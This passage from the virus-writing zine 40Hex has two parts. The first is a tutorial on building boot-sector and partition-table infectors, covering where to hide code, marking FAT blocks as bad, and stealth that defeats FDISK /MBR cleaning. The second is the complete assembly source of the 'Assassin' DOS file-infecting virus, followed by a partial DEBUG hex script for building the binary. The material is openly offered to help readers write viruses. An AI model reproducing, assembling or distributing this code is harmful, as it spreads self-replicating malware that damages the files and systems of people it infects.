BIOS when it attempts to load the operating system itself. Therefore, there is
|
|||
|
little that can be done to intercept the boot infector once it has
|
|||
|
successfully installed itself onto a disk.
|
|||
|
A brief explanation of the basics of disk terminology is in order. Each
|
|||
|
disk is divided into 512 byte chunks called sectors. Due to an unfortunate
|
|||
|
choice in terminology, however, the system BIOS uses the term "sectors"
|
|||
|
differently. For our purposes, we will divide the disk into 512 byte blocks,
|
|||
|
with block 0 residing on the beginning of the disk.
|
|||
|
The system BIOS assigns three values to each block on the disk. The
|
|||
|
values are known as sectors, cylinders (sometimes known as tracks), and heads
|
|||
|
(sometimes called sides) and can be represented as a triple
|
|||
|
(sector,cylinder,head). Each disk has a certain number of sectors (SEC),
|
|||
|
cylinders (CYL), and heads (HDS). Cylinders are numbered from 0 to CYL - 1.
|
|||
|
Heads are numbered from 0 to HDS - 1. Sectors, for some unfathomable reason,
|
|||
|
are numbered from 1 to SEC. Block 0 corresponds to the triple (1,0,0) (sector
|
|||
|
1, cylinder 0, head 0). Block 1 corresponds to (2,0,0), Block 2 with (3,0,0),
|
|||
|
and so on, until Block SPH. Block SPH corresponds to (1,1,0), Block SPH+1 with
|
|||
|
(2,1,0), and so on. Block 2*SPH is (1,2,0), Block 2*SPH+1 is (2,2,0), etc.
|
|||
|
This continues until Block HPC*SPH, which is (0,0,1).
|
|||
|
An introduction to the boot process is vital to understanding boot
|
|||
|
infectors. When the system is reset, the BIOS checks the first block, triple
|
|||
|
(1,0,0), of the first hard drive of the system (if any are installed, of
|
|||
|
course) to absolute memory address 7C000. If the hard drive exists, the block
|
|||
|
that was read in is checked for the signature 0AA55 (in reverse word format)
|
|||
|
occuring at offset 1FE. This is the marker for a valid partition table. If a
|
|||
|
partition table is found, the code residing in this block is executed at
|
|||
|
0:7C00. If a valid partition table is not found (or the hard drive doesn't
|
|||
|
exist), then the BIOS tries booting from the floppy drive. It again reads the
|
|||
|
first block from the first floppy drive to absolute memory address 7C000. If
|
|||
|
there is a readable disk in the drive, it will be loaded in and executed. No
|
|||
|
check is made for the 0AA55 signature, although many boot sectors have it
|
|||
|
there anyway just for consistency.
|
|||
|
Technically, the first block of the hard disk is a boot sector just as it
|
|||
|
is on floppies. However, it is sometimes given a different name because of the
|
|||
|
partition table convention that allows multiple operating systems to reside on
|
|||
|
a single drive. We will call it by the somewhat misleading name of partition
|
|||
|
table. Another common name is the master boot record, for reasons that will
|
|||
|
become clear momentarily. The partition table convention is basically a simple
|
|||
|
structure at the end of the first block of the hard drive that defines where
|
|||
|
each operating system exists on a given hard drive. The partition table
|
|||
|
structure begins at offset 1BE in the block and consists of an array with four
|
|||
|
entries. The format of each entry is:
|
|||
|
|
|||
|
Ofs Size Description
|
|||
|
0 BYTE boot indicator, 0 = non-bootable, 80h = bootable
|
|||
|
1 BYTE head the partition begins on
|
|||
|
2 BYTE sector the partition begins on
|
|||
|
3 BYTE cylinder the partition begins on
|
|||
|
4 BYTE system indicator, indicates what OS resides in the partition
|
|||
|
01 indicates DOS 12-bit FAT
|
|||
|
04 indicates DOS 16-bit FAT
|
|||
|
5 BYTE head the partition ends on
|
|||
|
6 BYTE sector the partition ends on
|
|||
|
7 BYTE cylinder the partition ends on
|
|||
|
8 DWORD total number of blocks preceding the partition
|
|||
|
0C DWORD total number of blocks in the partition
|
|||
|
|
|||
|
The code in the partition table loads the boot record of the active
|
|||
|
partition (as indicated in the first bit of the partition table structure).
|
|||
|
The boot record then loads the operating system that resides in its respective
|
|||
|
partition.
|
|||
|
When BIOS decides to boot from a floppy, it reads in the first block off
|
|||
|
the floppy to 7C000. Floppies don't have partition tables, so this block is
|
|||
|
the equivalent of the boot record of a partition on a hard disk.
|
|||
|
In DOS, the boot record consists of three bytes for a JMP followed by the
|
|||
|
following structure, sometimes known as the BIOS parameter block (BPB):
|
|||
|
|
|||
|
Offset Size Description
|
|||
|
3 8 bytes OEM name and version (ASCII)
|
|||
|
0B Word bytes per sector
|
|||
|
0D Byte sectors per cluster
|
|||
|
0E Word reserved sectors (starting at logical sector 0)
|
|||
|
10 Byte number of FATs
|
|||
|
11 Word number of root directory entries (32 bytes each)
|
|||
|
13 Word total sectors in partition
|
|||
|
15 Byte media descriptor
|
|||
|
17 Word sectors per FAT
|
|||
|
19 Word sectors per track
|
|||
|
1B Word number of heads
|
|||
|
1D Word number of hidden sectors
|
|||
|
|
|||
|
The rest of the boot record consists of code that loads and executes the
|
|||
|
DOS system files, which then take over. There are a number of terms in the
|
|||
|
above structure which may be unfamiliar, but don't fret; they will be
|
|||
|
explained in due course.
|
|||
|
First, however, it is important to note that nothing requires these
|
|||
|
structures to exist! The partition table, for example, is merely a de facto
|
|||
|
convention which was set up to allow operating systems to co-exist on a single
|
|||
|
hard drive. The boot record structure defined above is used by DOS for DOS
|
|||
|
programs. Of course, another operating system could interpret the structure,
|
|||
|
but there is no requirement for a given operating system to use that format.
|
|||
|
When infecting disks, however, keep in mind that certain programs require the
|
|||
|
structures to be in place. DOS, for example, won't recognise partitions
|
|||
|
properly without the partition table being at its usual location. Floppies
|
|||
|
also won't work properly if the boot record is not loaded when DOS requests a
|
|||
|
read to the first block. In other words, make sure that all requests to the
|
|||
|
partition table or boot record return the partition table and boot record in
|
|||
|
the appropriate locations. The other code may be changed with the only
|
|||
|
drawback in such a scheme being easy detection of the code modifications. A
|
|||
|
better approach is to redirect requests to the modified blocks to a stored
|
|||
|
copy of the original. In other words, stealth.
|
|||
|
Seeing these structures, the method of infection, conceptually, at the
|
|||
|
very least, should be apparent. It's a simple matter to replace the code of
|
|||
|
the partition table or boot record with your own. All your code has to do is
|
|||
|
store the block somewhere else on the disk and replace the block with itself.
|
|||
|
When the virus gains control, it needs to put itself in memory and then load
|
|||
|
the original block into memory at 7C000 and then transfer control to this
|
|||
|
code. Once it is in memory, it is free to infect any disks which come into
|
|||
|
contact with the computer.
|
|||
|
This is all nice and easy to say, but there are a few details which would
|
|||
|
be helpful to know before plunging into writing a boot infector. When control
|
|||
|
is transferred to either the partition table or boot record, CS:IP is set to
|
|||
|
0:7C00. SS:SP is undefined, so most boot infectors set it to 0:7C00, which
|
|||
|
causes the stack to be placed just below the loading area. This is sufficient
|
|||
|
for the needs of most viruses.
|
|||
|
Additionally, it would be nice to be able to locate empty space to store
|
|||
|
the original boot sector or partition table. Here, the virus has a number of
|
|||
|
choices. In hard disks, many viruses store the original partition table in the
|
|||
|
unused space between the partition table and the first partition. The first
|
|||
|
partition generally starts at triple (2,1,0) or later (some start as late as
|
|||
|
(2,0,1), so there is a wealth of space in which to store the virus in that
|
|||
|
area. A simple calculation reveals that there are (number of cylinders - 2)
|
|||
|
sectors between (1,0,0) where the partition table is and (2,1,0) where the
|
|||
|
first partition starts). Multiply that value by 512 and you have the number of
|
|||
|
bytes you can store there. That's a large chunk of space you have at your
|
|||
|
disposal. A virus may also store itself at the end of the root directory,
|
|||
|
although it risks overwriting valid directory entries. The BPB contains
|
|||
|
everything necessary to calculate the location and length of the root
|
|||
|
directory.
|
|||
|
An alternate approach, which is used by several viruses, is to alter the
|
|||
|
file allocation table, or FAT. The FAT is an array of entries which describe
|
|||
|
how the blocks on the disk are related. FAT entries are either 12 or 16 bits
|
|||
|
long, depending on the disk. 12 bit FAT's are generally used in disks and
|
|||
|
partitions with less than 20740 sectors and 16 bit FAT's are used in larger
|
|||
|
disks and partitions. The location and size of the FAT can be found in the
|
|||
|
BPB. Each entry in the FAT corresponds to a block on the disk. The FAT
|
|||
|
describes a file's placement on the disk. By following the chain, you can find
|
|||
|
the location of the blocks of the file, since they need not be contiguous. The
|
|||
|
value of the FAT entry is the number of the next block in the chain, i.e. an
|
|||
|
index to the FAT entry corresponding to the next block of the file, unless it
|
|||
|
is one of the special values. If the value of the FAT entry is 0, then the
|
|||
|
block is unused. If the value is -1 to -8 (FFF8-FFFF) then the block is the
|
|||
|
last block in a file. If the value is -9 to -10h (FFF0-FFF7) then the block is
|
|||
|
reserved (usually a bad block). The first and second entries in the FAT are
|
|||
|
always -1. The third entry governs the first data area. The idea is for the
|
|||
|
virus to find empty blocks, mark them as bad in the FAT, and store the code
|
|||
|
there. This way, DOS thinks the blocks are bad and does not overwrite the
|
|||
|
virus.
|
|||
|
One important issue with partition table infectors is whether they should
|
|||
|
preserve the partition table itself, i.e. leave the partition table structure
|
|||
|
at offset 1BE in the first block of the disk. Similarly, should boot sector
|
|||
|
infectors retain the BPB? This is a particularly interesting issue with
|
|||
|
stealth viruses, viruses which redirect attempts at accessing the partition
|
|||
|
table or boot sector. The advantage of retaining the structures is that DOS
|
|||
|
will recognize the disks even when the virus is not loaded in memory.
|
|||
|
Therefore, the virus is somewhat less vulnerable to detection. However, if the
|
|||
|
virus does not keep the structure, then it will be more difficult for the user
|
|||
|
to boot the computer without loading the virus in memory, since DOS will not
|
|||
|
recognise the drive. This is an especially nifty feature, since primitive
|
|||
|
cleaning attempts such as FDISK /MBR will fail against such a virus.
|
|||
|
Within this motley assortment of information, you will find enough to aid
|
|||
|
you in crafting an original boot infector. There is intentionally no code in
|
|||
|
this tutorial, mainly because there is little virus-specific information
|
|||
|
contained within. Many of the routines used in a boot infector are important
|
|||
|
when writing any boot sector, so there is little importance in repeating the
|
|||
|
code here.
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 004
|
|||
|
|
|||
|
; Assassin (Bug Fix version)
|
|||
|
; by Dark Slayer
|
|||
|
|
|||
|
mem_size equ offset memory_end-offset start
|
|||
|
mem_para equ (mem_size+0fh)/10h
|
|||
|
low_mem_size equ mem_size+100h
|
|||
|
low_mem_para equ (low_mem_size+0fh)/10h
|
|||
|
vir_size equ offset vir_end-offset start
|
|||
|
vir_sector equ (vir_size+1ffh+2)/200h
|
|||
|
constant_size equ offset constant-offset start
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 0
|
|||
|
start:
|
|||
|
xor di,di
|
|||
|
mov dx,ds:[di+2]
|
|||
|
sub dh,5
|
|||
|
|
|||
|
mov ah,26h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov bp,ds:[di+2ch]
|
|||
|
|
|||
|
mov ah,4ah
|
|||
|
mov bx,low_mem_para
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,52h
|
|||
|
int 21h
|
|||
|
mov bx,es:[bx-2]
|
|||
|
mov ax,cs
|
|||
|
dec ax
|
|||
|
mcb:
|
|||
|
mov cx,ds
|
|||
|
mov ds,bx
|
|||
|
inc bx
|
|||
|
mov dx,bx
|
|||
|
add bx,ds:[di+3]
|
|||
|
or bp,bp
|
|||
|
jnz not_boot
|
|||
|
cmp ax,bx
|
|||
|
jne not_our_mcb
|
|||
|
add word ptr ds:[di+3],low_mem_para+1
|
|||
|
not_our_mcb:
|
|||
|
cmp ax,cx
|
|||
|
jne not_boot
|
|||
|
mov ds:[di+1],dx
|
|||
|
mov di,8
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov si,di
|
|||
|
mov ds,ax
|
|||
|
mov cx,di
|
|||
|
rep movsb
|
|||
|
push dx
|
|||
|
add ax,10h+1
|
|||
|
push ax
|
|||
|
jmp short search
|
|||
|
not_boot:
|
|||
|
cmp byte ptr ds:[di],4dh
|
|||
|
je mcb
|
|||
|
cmp byte ptr ds:[di],5ah
|
|||
|
je mcb
|
|||
|
mov sp,low_mem_size
|
|||
|
sub dx,mem_para+1
|
|||
|
mov es,dx
|
|||
|
sub dx,cx
|
|||
|
dec dx
|
|||
|
mov ds,cx
|
|||
|
mov ds:[di+3],dx
|
|||
|
mov si,100h
|
|||
|
mov cx,vir_size
|
|||
|
rep movs byte ptr es:[di],cs:[si]
|
|||
|
|
|||
|
push es
|
|||
|
search:
|
|||
|
mov ax,352ah
|
|||
|
int 21h
|
|||
|
pop ds
|
|||
|
push ds
|
|||
|
mov di,offset i21_table
|
|||
|
mov ds:old2a[di]-i21_table,bx
|
|||
|
mov ds:old2a[di+2]-i21_table,es
|
|||
|
mov ah,25h
|
|||
|
mov dx,offset int2a
|
|||
|
int 21h
|
|||
|
mov dx,bx
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
int 21h
|
|||
|
pop es
|
|||
|
lds si,es:[di]
|
|||
|
search_table:
|
|||
|
lodsw
|
|||
|
search_table_:
|
|||
|
dec si
|
|||
|
cmp ax,8b2eh
|
|||
|
jne search_table
|
|||
|
lodsw
|
|||
|
cmp ah,9fh
|
|||
|
jne search_table_
|
|||
|
movsw
|
|||
|
scasw
|
|||
|
lea ax,[si-1e0h]
|
|||
|
stosw
|
|||
|
xchg si,ax
|
|||
|
mov word ptr ds:[si],0eacbh
|
|||
|
mov word ptr ds:[si+2],offset i21_3e
|
|||
|
mov ds:[si+4],es
|
|||
|
mov byte ptr ds:[si+6],0eah
|
|||
|
mov word ptr ds:[si+7],offset i21_3f
|
|||
|
mov ds:[si+9],es
|
|||
|
call set21
|
|||
|
|
|||
|
mov cx,bp
|
|||
|
jcxz boot
|
|||
|
mov ds,bp
|
|||
|
xor si,si
|
|||
|
l2:
|
|||
|
lodsw
|
|||
|
dec si
|
|||
|
or ax,ax
|
|||
|
jnz l2
|
|||
|
lea dx,[si+3]
|
|||
|
mov di,offset pcb+4+100h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ax,cs
|
|||
|
stosw
|
|||
|
scasw
|
|||
|
stosw
|
|||
|
scasw
|
|||
|
stosw
|
|||
|
mov ax,4b00h
|
|||
|
mov bx,offset pcb+100h
|
|||
|
int 21h
|
|||
|
mov ah,4dh
|
|||
|
int 21h
|
|||
|
mov ah,4ch
|
|||
|
int 21h
|
|||
|
|
|||
|
boot:
|
|||
|
pop dx
|
|||
|
mov ah,26h
|
|||
|
int 21h
|
|||
|
mov bl,3
|
|||
|
mov ss:[bp+18h+5],bl
|
|||
|
mov ax,1216h
|
|||
|
int 2fh
|
|||
|
inc bp
|
|||
|
mov es:[di],bp
|
|||
|
mov ss,dx
|
|||
|
mov ds,dx
|
|||
|
mov ax,4200h
|
|||
|
mov bl,5
|
|||
|
cwd
|
|||
|
int 21h
|
|||
|
mov ah,3fh
|
|||
|
dec cx
|
|||
|
inc dh
|
|||
|
int 21h
|
|||
|
mov ah,3eh
|
|||
|
int 21h
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
push ds
|
|||
|
push dx
|
|||
|
retf
|
|||
|
|
|||
|
read_cmp proc
|
|||
|
mov cx,vir_size
|
|||
|
mov dx,cx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
call read
|
|||
|
jc rc_exit
|
|||
|
push cx
|
|||
|
xor si,si
|
|||
|
if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
|
|||
|
mov cl,constant_size and 0ffh
|
|||
|
else
|
|||
|
mov cx,constant_size
|
|||
|
endif
|
|||
|
compare:
|
|||
|
lodsb
|
|||
|
cmp al,ds:read_buffer[si-1]
|
|||
|
loope compare
|
|||
|
clc
|
|||
|
pop cx
|
|||
|
rc_exit:
|
|||
|
ret
|
|||
|
read_cmp endp
|
|||
|
|
|||
|
read proc
|
|||
|
push bx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
mov ax,1229h
|
|||
|
int 2fh
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop bx
|
|||
|
ret
|
|||
|
read endp
|
|||
|
|
|||
|
write proc
|
|||
|
mov bp,40h*2
|
|||
|
i21_func proc
|
|||
|
pop ax
|
|||
|
push bx
|
|||
|
push cs
|
|||
|
push ax
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push ds:i21_far_jmp
|
|||
|
les di,dword ptr ds:i21_table
|
|||
|
push es
|
|||
|
push es:[di+bp]
|
|||
|
retf
|
|||
|
i21_func endp
|
|||
|
write endp
|
|||
|
|
|||
|
set2324_restore21 proc
|
|||
|
push ds
|
|||
|
mov si,23h*4
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov di,offset old23
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ax,offset int23
|
|||
|
mov bp,2
|
|||
|
sm_23_1:
|
|||
|
movsw
|
|||
|
mov ds:[si-2],ax
|
|||
|
movsw
|
|||
|
mov ds:[si-2],cs
|
|||
|
if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h)
|
|||
|
mov al,(offset int24-offset start) and 0ffh
|
|||
|
else
|
|||
|
mov ax,offset int24
|
|||
|
endif
|
|||
|
dec bp
|
|||
|
jnz sm_23_1
|
|||
|
mov si,di
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov bp,-4
|
|||
|
rs_1:
|
|||
|
inc bp
|
|||
|
inc bp
|
|||
|
les di,dword ptr ds:i21_table
|
|||
|
mov di,es:[di+bp+2+3eh*2]
|
|||
|
movsb
|
|||
|
movsw
|
|||
|
jnz rs_1
|
|||
|
pop ds
|
|||
|
|
|||
|
pop bp
|
|||
|
pop ax
|
|||
|
push es
|
|||
|
push ax
|
|||
|
|
|||
|
get_sft proc
|
|||
|
push bx
|
|||
|
mov ax,1220h
|
|||
|
int 2fh
|
|||
|
mov bl,es:[di]
|
|||
|
mov ax,1216h
|
|||
|
int 2fh
|
|||
|
pop bx
|
|||
|
jmp bp
|
|||
|
get_sft endp
|
|||
|
set2324_restore21 endp
|
|||
|
|
|||
|
set21_restore23 proc
|
|||
|
mov si,offset old23
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov di,23h*4
|
|||
|
xor cx,cx
|
|||
|
mov es,cx
|
|||
|
mov cl,4
|
|||
|
rep movsw
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
set21 proc ; es = vir segment
|
|||
|
push ax
|
|||
|
mov bx,-4
|
|||
|
mov di,offset i21_3e_data
|
|||
|
mov cx,es:i21_far_jmp[di]-i21_3e_data
|
|||
|
inc cx
|
|||
|
sm_1:
|
|||
|
inc bx
|
|||
|
lds si,dword ptr es:i21_table
|
|||
|
mov ax,ds:[si+bx+3+3eh*2]
|
|||
|
mov si,ax
|
|||
|
movsb
|
|||
|
movsw
|
|||
|
xchg si,ax
|
|||
|
sub ax,cx
|
|||
|
neg ax
|
|||
|
mov byte ptr ds:[si],0e9h
|
|||
|
mov ds:[si+1],ax
|
|||
|
add cx,5
|
|||
|
inc bx
|
|||
|
jnz sm_1
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
set21 endp
|
|||
|
set21_restore23 endp
|
|||
|
|
|||
|
i21_3e:
|
|||
|
call set2324_restore21
|
|||
|
jc jc_exit
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
cmp word ptr ds:[di],1
|
|||
|
jne jne_exit
|
|||
|
les ax,dword ptr ds:[di+28h]
|
|||
|
mov dx,es
|
|||
|
cmp ax,'OC'
|
|||
|
jne exe
|
|||
|
mov al,'M'
|
|||
|
jmp short com
|
|||
|
exe:
|
|||
|
cmp ax,'XE'
|
|||
|
jne jne_exit
|
|||
|
com:
|
|||
|
cmp dl,al
|
|||
|
jne_exit:
|
|||
|
jne jne_exit_
|
|||
|
les ax,dword ptr ds:[di+11h]
|
|||
|
cmp ax,vir_size
|
|||
|
jc_exit:
|
|||
|
jb jc_exit_
|
|||
|
cmp ax,0ffffh-(vir_size+2)
|
|||
|
ja jne_exit_
|
|||
|
mov dx,es
|
|||
|
or dx,dx
|
|||
|
jne_exit_:
|
|||
|
jnz i21_3e_exit
|
|||
|
mov ds:[di+15h],dx
|
|||
|
mov ds:[di+17h],dx
|
|||
|
les si,dword ptr ds:[di+7]
|
|||
|
les si,dword ptr es:[si+2]
|
|||
|
add ax,si
|
|||
|
dec ax
|
|||
|
div si
|
|||
|
mov cx,es
|
|||
|
inc cx
|
|||
|
div cl
|
|||
|
or ah,ah
|
|||
|
jz i21_3e_exit
|
|||
|
sub cl,ah
|
|||
|
cmp cl,vir_sector
|
|||
|
jc_exit_:
|
|||
|
jb i21_3e_exit
|
|||
|
les ax,ds:[di+4]
|
|||
|
push ax
|
|||
|
push es
|
|||
|
and ax,1000000000011100b
|
|||
|
jnz close_
|
|||
|
mov byte ptr ds:[di+2],2
|
|||
|
mov ds:[di+4],al
|
|||
|
|
|||
|
call read_cmp
|
|||
|
jbe close
|
|||
|
|
|||
|
mov si,cx
|
|||
|
cmp_device:
|
|||
|
dec si
|
|||
|
lodsw
|
|||
|
inc ax
|
|||
|
loopnz cmp_device
|
|||
|
jcxz not_device
|
|||
|
dec ax
|
|||
|
cmp ax,ds:[si]
|
|||
|
je close
|
|||
|
jmp short cmp_device
|
|||
|
not_device:
|
|||
|
mov ax,es:[di+11h]
|
|||
|
mov es:[di+15h],ax
|
|||
|
|
|||
|
mov cx,vir_size+2
|
|||
|
mov dx,offset id
|
|||
|
call write
|
|||
|
pop bx
|
|||
|
jc close
|
|||
|
sub es:[di+11h],ax
|
|||
|
dec cx
|
|||
|
dec cx
|
|||
|
cwd
|
|||
|
mov es:[di+15h],dx
|
|||
|
call write
|
|||
|
pop bx
|
|||
|
close:
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
close_:
|
|||
|
pop ds:[di+6]
|
|||
|
pop ds:[di+4]
|
|||
|
mov bp,0dh*2
|
|||
|
call i21_func
|
|||
|
pop bx
|
|||
|
i21_3e_exit:
|
|||
|
mov ax,1227h
|
|||
|
int 2fh
|
|||
|
jmp i21_3f_exit
|
|||
|
|
|||
|
i21_3f:
|
|||
|
call set2324_restore21
|
|||
|
|
|||
|
les ax,dword ptr es:[di+15h]
|
|||
|
push ax
|
|||
|
push es
|
|||
|
call read
|
|||
|
pop bp
|
|||
|
pop si
|
|||
|
cmc
|
|||
|
jnc jnc_exit
|
|||
|
test word ptr es:[di+4],1000000000011000b
|
|||
|
jnz jnz_3f_exit
|
|||
|
or bp,bp
|
|||
|
jnz_3f_exit:
|
|||
|
jnz i21_3f_exit
|
|||
|
sub si,vir_size
|
|||
|
jnc_exit:
|
|||
|
jae i21_3f_exit
|
|||
|
xor cx,cx
|
|||
|
xchg cx,es:[di+15h]
|
|||
|
push cx
|
|||
|
xor cx,cx
|
|||
|
xchg cx,es:[di+17h]
|
|||
|
push cx
|
|||
|
push ax
|
|||
|
push si
|
|||
|
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
call read_cmp
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
jc i21_3f_exit_1
|
|||
|
jne i21_3f_exit_1
|
|||
|
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov ax,ds:[di+11h]
|
|||
|
mov ds:[di+15h],ax
|
|||
|
add word ptr ds:[di+11h],vir_size+2
|
|||
|
|
|||
|
mov cl,2
|
|||
|
mov dx,offset read_buffer
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
call read
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
jc i21_3f_exit_2
|
|||
|
cmp word ptr cs:read_buffer,'SD'
|
|||
|
je i21_3f_l0
|
|||
|
mov ax,1218h
|
|||
|
int 2fh
|
|||
|
or byte ptr ds:[si+16h],1
|
|||
|
jmp short i21_3f_exit_2
|
|||
|
i21_3f_l0:
|
|||
|
pop si
|
|||
|
neg si
|
|||
|
mov ax,es:[di+11h]
|
|||
|
sub ax,si
|
|||
|
mov es:[di+15h],ax
|
|||
|
pop cx
|
|||
|
push cx
|
|||
|
push cx
|
|||
|
cmp cx,si
|
|||
|
jb i21_3f_l1
|
|||
|
mov cx,si
|
|||
|
i21_3f_l1:
|
|||
|
call read
|
|||
|
i21_3f_exit_2:
|
|||
|
sub word ptr es:[di+11h],vir_size+2
|
|||
|
i21_3f_exit_1:
|
|||
|
pop ax
|
|||
|
pop ax
|
|||
|
pop es:[di+17h]
|
|||
|
pop es:[di+15h]
|
|||
|
i21_3f_exit:
|
|||
|
call set21_restore23
|
|||
|
push ax
|
|||
|
mov ax,1218h
|
|||
|
int 2fh
|
|||
|
mov ax,ds:[si+16h]
|
|||
|
shr ax,1
|
|||
|
pop ax
|
|||
|
mov ds:[si],ax
|
|||
|
retf
|
|||
|
|
|||
|
int23:
|
|||
|
call set21_restore23
|
|||
|
jmp dword ptr cs:old23
|
|||
|
|
|||
|
int24:
|
|||
|
xor ax,ax
|
|||
|
iret
|
|||
|
int2a:
|
|||
|
pop cs:i21_table
|
|||
|
pop cs:i21_table[2]
|
|||
|
sub sp,4
|
|||
|
jmp dword ptr cs:old2a
|
|||
|
|
|||
|
msg db ' This is [Assassin] written by Dark Slayer '
|
|||
|
db 'in Keelung. Taiwan <R.O.C> '
|
|||
|
|
|||
|
constant:
|
|||
|
|
|||
|
pcb dw 0,80h,?,5ch,?,6ch,?
|
|||
|
id db 'DS'
|
|||
|
vir_end:
|
|||
|
|
|||
|
read_buffer db vir_size dup(?)
|
|||
|
|
|||
|
old2a dw ?,?
|
|||
|
old23 dw ?,?
|
|||
|
old24 dw ?,?
|
|||
|
i21_3e_data db 3 dup(?)
|
|||
|
i21_3f_data db 3 dup(?)
|
|||
|
i21_table dw ?,?
|
|||
|
i21_far_jmp dw ?
|
|||
|
|
|||
|
memory_end:
|
|||
|
end start
|
|||
|
----------------------
|
|||
|
N assassin.com
|
|||
|
E 0100 33 FF 8B 55 02 80 EE 05 B4 26 CD 21 8B 6D 2C B4
|
|||
|
E 0110 4A BB 8A 00 CD 21 B4 52 CD 21 26 8B 5F FE 8C C8
|
|||
|
E 0120 48 8C D9 8E DB 43 8B D3 03 5D 03 0B ED 75 24 3B
|
|||
|
E 0130 C3 75 05 81 45 03 8B 00 3B C1 75 17 89 55 01 BF
|
|||
|
E 0140 08 00 1E 07 8B F7 8E D8 8B CF F3 A4 52 05 11 00
|
|||
|
E 0150 50 EB 24 80 3D 4D 74 C9 80 3D 5A 74 C4 BC 95 08
|
|||
|
E 0160 83 EA 7B 8E C2 2B D1 4A 8E D9 89 55 03 BE 00 01
|
|||
|
E 0170 B9 BF 03 F3 2E A4 06 B8 2A 35 CD 21 1F 1E BF 8F
|
|||
|
E 0180 07 89 5D EE 8C 45 F0 B4 25 BA 57 03 CD 21 8B D3
|
|||
|
E 0190 06 1F CD 21 07 26 C5 35 AD 4E 3D 2E 8B 75 F9 AD
|
|||
|
E 01A0 80 FC 9F 75 F4 A5 AF 8D 84 20 FE AB 96 C7 04 CB
|
|||
|
E 01B0 EA C7 44 02 EA 01 8C 44 04 C6 44 06 EA C7 44 07
|
|||
|
E 01C0 A2 02 8C 44 09 E8 F6 00 8B CD E3 29 8E DD 33 F6
|
|||
|
E 01D0 AD 4E 0B C0 75 FA 8D 54 03 BF B3 04 0E 07 8C C8
|
|||
|
E 01E0 AB AF AB AF AB B8 00 4B BB AF 04 CD 21 B4 4D CD
|
|||
|
E 01F0 21 B4 4C CD 21 5A B4 26 CD 21 B3 03 88 5E 1D B8
|
|||
|
E 0200 16 12 CD 2F 45 26 89 2D 8E D2 8E DA B8 00 42 B3
|
|||
|
E 0210 05 99 CD 21 B4 3F 49 FE C6 CD 21 B4 3E CD 21 1E
|
|||
|
E 0220 07 1E 52 CB B9 BF 03 8B D1 0E 1F E8 11 00 72 0E
|
|||
|
E 0230 51 33 F6 B1 AF AC 3A 84 BE 03 E1 F9 F8 59 C3 53
|
|||
|
E 0240 52 1E B8 29 12 CD 2F 1F 5A 5B C3 BD 80 00 58 53
|
|||
|
E 0250 0E 50 0E 1F FF 36 93 07 C4 3E 8F 07 06 26 FF 33
|
|||
|
E 0260 CB 1E BE 8C 00 33 C0 8E D8 BF 81 07 0E 07 B8 4C
|
|||
|
E 0270 03 BD 02 00 A5 89 44 FE A5 8C 4C FE B0 54 4D 75
|
|||
|
E 0280 F3 8B F7 0E 1F BD FC FF 45 45 C4 3E 8F 07 26 8B
|
|||
|
E 0290 7B 7E A4 A5 75 F2 1F 5D 58 06 50 53 B8 20 12 CD
|
|||
|
E 02A0 2F 26 8A 1D B8 16 12 CD 2F 5B FF E5 BE 81 07 0E
|
|||
|
E 02B0 1F BF 8C 00 33 C9 8E C1 B1 04 F3 A5 0E 07 50 BB
|
|||
|
E 02C0 FC FF BF 89 07 26 8B 4D 0A 41 43 26 C5 36 8F 07
|
|||
|
E 02D0 8B 40 7F 8B F0 A4 A5 96 2B C1 F7 D8 C6 04 E9 89
|
|||
|
E 02E0 44 01 83 C1 05 43 75 E2 58 C3 E8 74 FF 72 24 06
|
|||
|
E 02F0 1F 83 3D 01 75 15 C4 45 28 8C C2 3D 43 4F 75 04
|
|||
|
E 0300 B0 4D EB 05 3D 45 58 75 02 3A D0 75 11 C4 45 11
|
|||
|
E 0310 3D BF 03 72 2B 3D 3E FC 77 04 8C C2 0B D2 75 7A
|
|||
|
E 0320 89 55 15 89 55 17 C4 75 07 26 C4 74 02 03 C6 48
|
|||
|
E 0330 F7 F6 8C C1 41 F6 F1 0A E4 74 5F 2A CC 80 F9 02
|
|||
|
E 0340 72 58 C4 45 04 50 06 25 1C 80 75 41 C6 45 02 02
|
|||
|
E 0350 88 45 04 E8 CE FE 76 33 8B F1 4E AD 40 E0 FB E3
|
|||
|
E 0360 07 48 3B 04 74 25 EB F2 26 8B 45 11 26 89 45 15
|
|||
|
E 0370 B9 C1 03 BA BD 03 E8 D2 FE 5B 72 0F 26 29 45 11
|
|||
|
E 0380 49 49 99 26 89 55 15 E8 C1 FE 5B 06 1F 8F 45 06
|
|||
|
E 0390 8F 45 04 BD 1A 00 E8 B5 FE 5B B8 27 12 CD 2F E9
|
|||
|
E 03A0 98 00 E8 BC FE 26 C4 45 15 50 06 E8 91 FE 5D 5E
|
|||
|
E 03B0 F5 73 10 26 F7 45 04 18 80 75 02 0B ED 75 7B 81
|
|||
|
E 03C0 EE BF 03 73 75 33 C9 26 87 4D 15 51 33 C9 26 87
|
|||
|
